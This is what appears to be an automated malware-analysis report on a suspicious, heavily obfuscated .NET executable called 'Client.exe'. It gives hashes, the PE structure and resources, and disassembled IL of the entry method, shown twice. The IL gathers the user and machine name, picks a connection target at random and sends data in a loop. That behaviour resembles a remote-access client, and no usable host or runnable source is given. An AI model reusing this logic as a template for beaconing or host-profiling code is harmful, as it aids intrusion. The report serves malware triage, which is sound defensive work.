Suspicious
Suspect

cce64cd9fdca88ebdc476c3d0ff22274

PE Executable
|
MD5: cce64cd9fdca88ebdc476c3d0ff22274
|
Size: 779.26 KB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Very high

Hash
 Hash Value
MD5
cce64cd9fdca88ebdc476c3d0ff22274
Sha1
c64d8cd5a34ca9add4affe8b2f160de93a63cef1
Sha256
e22b2799b0afd872343083864b58dfef93a1e19838e540944beba1d58cf0512d
Sha384
a4b349c64cb1a1f9f9fcff6e07418c3de3e388d1a0c4df909f1b482551bf6f3c8994f4f6be9e266591ae7c9767819fa6
Sha512
6c514ee7cfce4d1ccc471663e597e90e97e7990cb56bb673b591f832f074345fefb6e77198bb3f105162004a75cb4fbf5a53d1186067b660dbf8fcd93bbfd3fb
SSDeep
12288:vak1VDlu1FPzQet+Q1tbATPfTB/QGH7bCOTXk0aRWsRIGPGk:CguPPzl+QHcTrdhbbhXVaRW2PGk
TLSH
1AF471216FEBDDC5E04A213F843A1905876EE2A1170373C37706BA72AE455AFDE1C2D6

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
cce64cd9fdca88ebdc476c3d0ff22274
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0-preview.png
ID:0008
ID:0
ID:0009
ID:0
ID:000A
ID:0
ID:000B
ID:0
ID:000C
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
4X9iFvq
gznHE7udolPtMcWnpsZSzelHrPPTVvXj
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Module Name

Client.exe
Full Name

Client.exe
EntryPoint

System.Void WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::uOijMbdUOM(System.String[])
Scope Name

Client.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

Client
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.0
Total Strings

711
Main Method

System.Void WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::uOijMbdUOM(System.String[])
Main IL Instruction Count

167
Main IL

ldc.r8 736 stloc V_3 br IL_004F: br IL_0012 nop <null> ldloc V_3 ldc.r8 736 ceq <null> brfalse IL_0035: nop nop <null> ldc.r8 744 stloc V_3 nop <null> ldloc V_3 ldc.r8 744 ceq <null> brfalse IL_004F: br IL_0012 br IL_0054: call System.Void WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::nqrrZjizGAObxVtomDMHW() br IL_0012: nop call System.Void WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::nqrrZjizGAObxVtomDMHW() call System.Void WgDZnzldCADgwYBaJpHqJog.gPfmHuMUiGAhGQGmQY::pkJIECLLiZaLrWylbCXYX() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::fXSMMXbrzK call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::FvsqkinIJSCNXEBeaRfXZ() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_007C: ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::yQzACHFZnkHpZaFmP call System.Void ymCSIfQMziWsKxcvVVFhdsMI.SuVjMNUqYAteKEvQGtoxWEgja::YofkkVILBLILmvhmbNOlIGwG() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::yQzACHFZnkHpZaFmP call System.Boolean OupCvraOrjVjFKpyn.ZTBrfwthlZ::GQhGKXgFPxAJpQQM(System.String) brtrue IL_0090: call System.Void wILuhGrpZXXqgt.pXCUKiOSDuZQVAlgvUt::FUeuwMnkryVlkUPKjI() leave IL_0293: ret call System.Void wILuhGrpZXXqgt.pXCUKiOSDuZQVAlgvUt::FUeuwMnkryVlkUPKjI() call System.Void mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::qscBiSRnBMJ() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldfld System.Boolean QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::kNlBgxvigJXTGA brtrue IL_027E: call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::BbXdfkpIwDfauVjrUaoDGwtF call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::mslxPYHJSa() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::QsRXFfMWItOGBC() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RmKBZJMFPsDAhVFTD() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::szRrDBWQCKIEzR ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::EKCTETXmMFIYljvrGUyRAFDn() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::fCefACaLKx() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::VyiqenxHwqGTEpOlUlvyGPR() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RsGLDiNbmDWIlHnNI() ldelem System.String call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::qLYiaqmQGZOylFgIZlgmEOde() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::BTFzMyiqKYFBjSQYmbnN() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RQcdiBgWrchtAYWgRuafHa() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::jRyPNYSAAIZ() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldloc V_1 call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::aHpTPNSmpQtjCdWdxBUS() ldelem System.String ldloc V_2 ldsfld System.Random mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::szRrDBWQCKIEzR ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::ckXnuSkEVyBbqL(System.String,System.String) ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldfld System.Boolean QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::kNlBgxvigJXTGA brfalse IL_027E: call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk newobj System.Void mQNWCewmURJKhRiCDjf.RrmVvEvQGzkDCxiOJSmcby::.ctor(QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ) stfld mQNWCewmURJKhRiCDjf.RrmVvEvQGzkDCxiOJSmcby QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::LFRMneHuGaRMjeYDEuKdNVddt ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk newobj System.Void mQNWCewmURJKhRiCDjf.BDEXJDmOjSZuckVbiXoyvfg::.ctor(QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ) stfld mQNWCewmURJKhRiCDjf.BDEXJDmOjSZuckVbiXoyvfg QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::tOJhXvjiTCeWmkcSeb ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::YHjturUhNhgrkBVthRIZpsdH() newarr System.Object dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::UDvQdenIkCAGZVVxFciNsS() call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::DrhMpTlnfYmuPf() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::AkPkLsGfebEZoZQjDs() call System.Byte[] mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::dnwOHhcRqQLorVjXUFIEb() stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::zyVnHwncjPuuwCbugOub() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::ZcSJfEfYmPJDkTze stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::dWWeVvhXotfUJS() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::znrjNrAsjG stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::ewHnYQXQkhIXMfkUJR() call System.String System.Environment::get_UserName() call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::liOfAZkCup() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::WczImAGEvVOZmjz() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::tDrtcvitHzMprFcHtRWLPb stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::jGGCyGGmwMYUsE() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::lWJGEpvrWhNxCTLxngtJ stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::VDqwAfoUnSMcuVIWn() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::VjCJbcTpWg stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::PAODOUPWNLablL() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::iNodyCpxufbYBBolVnB stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::xtWvnykvlSkmeLQoplHdDKS() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::RUGWToeELHqHeHZni stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::WgeRcuLgAlxblbAOeFckdh() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::qHqUuEAxSgDgnEhSIFH stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::KwXlqeimmbhYGUTTrHEms() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::GpbqaurjcgVmjMhwbYqgMy stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::pCNlszyihKovTV() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::gvWFPHBwNopUjZLOreDZW stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::IVCRyKAECtu() call System.String mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::kPsQzdEFYuVSSkl() stelem.ref <null> call System.Byte[] TQuKaKxfMqmcrrBx.eilmoogAylwNJudRckNy::GyhoYyIlkVqNoxnSDCeFeqMS(System.Object[]) callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::XywcqHrYQTaJjAuC(System.Byte[]) call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_009A: ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk pop <null> leave IL_0293: ret ret <null>
Module Name

Client.exe
Full Name

Client.exe
EntryPoint

System.Void WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::uOijMbdUOM(System.String[])
Scope Name

Client.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

Client
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.0
Total Strings

711
Main Method

System.Void WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::uOijMbdUOM(System.String[])
Main IL Instruction Count

167
Main IL

ldc.r8 736 stloc V_3 br IL_004F: br IL_0012 nop <null> ldloc V_3 ldc.r8 736 ceq <null> brfalse IL_0035: nop nop <null> ldc.r8 744 stloc V_3 nop <null> ldloc V_3 ldc.r8 744 ceq <null> brfalse IL_004F: br IL_0012 br IL_0054: call System.Void WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::nqrrZjizGAObxVtomDMHW() br IL_0012: nop call System.Void WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::nqrrZjizGAObxVtomDMHW() call System.Void WgDZnzldCADgwYBaJpHqJog.gPfmHuMUiGAhGQGmQY::pkJIECLLiZaLrWylbCXYX() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::fXSMMXbrzK call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::FvsqkinIJSCNXEBeaRfXZ() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_007C: ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::yQzACHFZnkHpZaFmP call System.Void ymCSIfQMziWsKxcvVVFhdsMI.SuVjMNUqYAteKEvQGtoxWEgja::YofkkVILBLILmvhmbNOlIGwG() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::yQzACHFZnkHpZaFmP call System.Boolean OupCvraOrjVjFKpyn.ZTBrfwthlZ::GQhGKXgFPxAJpQQM(System.String) brtrue IL_0090: call System.Void wILuhGrpZXXqgt.pXCUKiOSDuZQVAlgvUt::FUeuwMnkryVlkUPKjI() leave IL_0293: ret call System.Void wILuhGrpZXXqgt.pXCUKiOSDuZQVAlgvUt::FUeuwMnkryVlkUPKjI() call System.Void mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::qscBiSRnBMJ() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldfld System.Boolean QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::kNlBgxvigJXTGA brtrue IL_027E: call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::BbXdfkpIwDfauVjrUaoDGwtF call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::mslxPYHJSa() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::QsRXFfMWItOGBC() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RmKBZJMFPsDAhVFTD() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::szRrDBWQCKIEzR ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::EKCTETXmMFIYljvrGUyRAFDn() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::fCefACaLKx() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::VyiqenxHwqGTEpOlUlvyGPR() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RsGLDiNbmDWIlHnNI() ldelem System.String call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::qLYiaqmQGZOylFgIZlgmEOde() newarr System.Char dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::BTFzMyiqKYFBjSQYmbnN() call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::RQcdiBgWrchtAYWgRuafHa() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::jRyPNYSAAIZ() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldloc V_1 call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::aHpTPNSmpQtjCdWdxBUS() ldelem System.String ldloc V_2 ldsfld System.Random mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::szRrDBWQCKIEzR ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::ckXnuSkEVyBbqL(System.String,System.String) ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldfld System.Boolean QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::kNlBgxvigJXTGA brfalse IL_027E: call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk newobj System.Void mQNWCewmURJKhRiCDjf.RrmVvEvQGzkDCxiOJSmcby::.ctor(QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ) stfld mQNWCewmURJKhRiCDjf.RrmVvEvQGzkDCxiOJSmcby QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::LFRMneHuGaRMjeYDEuKdNVddt ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk newobj System.Void mQNWCewmURJKhRiCDjf.BDEXJDmOjSZuckVbiXoyvfg::.ctor(QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ) stfld mQNWCewmURJKhRiCDjf.BDEXJDmOjSZuckVbiXoyvfg QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::tOJhXvjiTCeWmkcSeb ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::YHjturUhNhgrkBVthRIZpsdH() newarr System.Object dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::UDvQdenIkCAGZVVxFciNsS() call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::DrhMpTlnfYmuPf() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::AkPkLsGfebEZoZQjDs() call System.Byte[] mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::dnwOHhcRqQLorVjXUFIEb() stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::zyVnHwncjPuuwCbugOub() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::ZcSJfEfYmPJDkTze stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::dWWeVvhXotfUJS() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::znrjNrAsjG stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::ewHnYQXQkhIXMfkUJR() call System.String System.Environment::get_UserName() call System.String HBlORbHUGjExrCwV.ghJldBXhBnqWpk::liOfAZkCup() call System.String wILuhGrpZXXqgt.fdQmrAblkKLNSVJWwcW::DrYLIbpIePnOploGP(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::WczImAGEvVOZmjz() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::tDrtcvitHzMprFcHtRWLPb stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::jGGCyGGmwMYUsE() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::lWJGEpvrWhNxCTLxngtJ stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::VDqwAfoUnSMcuVIWn() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::VjCJbcTpWg stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::PAODOUPWNLablL() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::iNodyCpxufbYBBolVnB stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::xtWvnykvlSkmeLQoplHdDKS() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::RUGWToeELHqHeHZni stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::WgeRcuLgAlxblbAOeFckdh() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::qHqUuEAxSgDgnEhSIFH stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::KwXlqeimmbhYGUTTrHEms() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::GpbqaurjcgVmjMhwbYqgMy stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::pCNlszyihKovTV() ldsfld System.String WgDZnzldCADgwYBaJpHqJog.ZZXoIJLQckReSHQqrNmKmNms::gvWFPHBwNopUjZLOreDZW stelem.ref <null> dup <null> call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::IVCRyKAECtu() call System.String mQNWCewmURJKhRiCDjf.TeOFgugPDjKEiRYa::kPsQzdEFYuVSSkl() stelem.ref <null> call System.Byte[] TQuKaKxfMqmcrrBx.eilmoogAylwNJudRckNy::GyhoYyIlkVqNoxnSDCeFeqMS(System.Object[]) callvirt System.Void QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ::XywcqHrYQTaJjAuC(System.Byte[]) call System.Int32 HBlORbHUGjExrCwV.ghJldBXhBnqWpk::lkdZuswHUXElj() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_009A: ldsfld QKBqTBYsWjZfllOnUkHii.MAOcqIqovbJmYxSVscQqociQ WgDZnzldCADgwYBaJpHqJog.xtryWQJzBJZP::iJhTDfrdlQJRIwOk pop <null> leave IL_0293: ret ret <null>
cce64cd9fdca88ebdc476c3d0ff22274 (779.26 KB)
File Structure
cce64cd9fdca88ebdc476c3d0ff22274
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_ICON
ID:0001
ID:0
ID:0-preview.png
ID:0002
ID:0
ID:0003
ID:0
ID:0004
ID:0
ID:0005
ID:0
ID:0006
ID:0
ID:0007
ID:0
ID:0-preview.png
ID:0008
ID:0
ID:0009
ID:0
ID:000A
ID:0
ID:000B
ID:0
ID:000C
ID:0
RT_GROUP_CURSOR4
ID:0001
ID:0
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
4X9iFvq
gznHE7udolPtMcWnpsZSzelHrPPTVvXj
Characteristics
No malware configuration were found at this point.
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙